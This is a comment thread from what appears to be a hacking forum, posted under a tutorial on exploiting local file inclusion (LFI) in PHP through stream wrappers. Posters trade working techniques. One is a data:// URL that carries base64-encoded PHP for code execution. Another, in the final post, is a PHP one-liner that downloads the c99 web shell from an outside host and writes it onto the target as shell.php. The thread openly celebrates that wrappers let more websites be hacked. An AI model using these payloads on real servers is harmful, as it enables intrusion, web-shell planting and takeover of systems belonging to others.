[Hivem1nd]

Thank you! I've been trying to figure out on my own how to apply LFI exploits to Windows servers so this should be really helpful.

[th3.g4m3_0v3r]

Bro please Upload Hd Version Of This Video

To short...

[PličkaMaterna]

I am not sure if HF people deserve to know about wrappers.
They will just copy pasta from your tut...

[LulzSecFTW]

Thanks, great tut, I knew about the wrappers... but I never for one second thought about using them to hack via LFI. ^_^

I do have one problem though:

PHP Code


<?php 
Warning: include(php://input) [function.include]: failed to open stream: operation failed in /xxx/test.php on line 2 


I get it to work with fopen / file_get_contents just fine though :D thanks again,

[LulzSecFTW]

@Hooded Robin, data wrapper works perfectly! I noticed php://input doesn't get blocked by security but data:// sometimes does.

Even still... does anyone know why I keep getting a php error when trying to POSTDATA a php code using php://input in a LFI (which uses includes() ) ?

^ using wrappers unlocks a load more websites to be hacked. :D

[LulzSecFTW]

Robin, The server I've been testing it on is my own. I've added only the basic firewalls etc. You were right, I had php:// disabled. Weird how it's disabled php:// but not data:// ^_^

--

For anyone interested in the data wrapper here is a demo;

http://exampe.com/index.php?page=data://...64,aGVsbG8=
and replace the aGVsbG8= with a base64 encoded php script (including the <? and ?>)

remember... if wget/system is disabled use this;

<?$fh = fopen("shell.php", 'w');fwrite($fh, file_get_contents("http://yourwebsite.com/c99/c99.txt"));fclose($fh);?>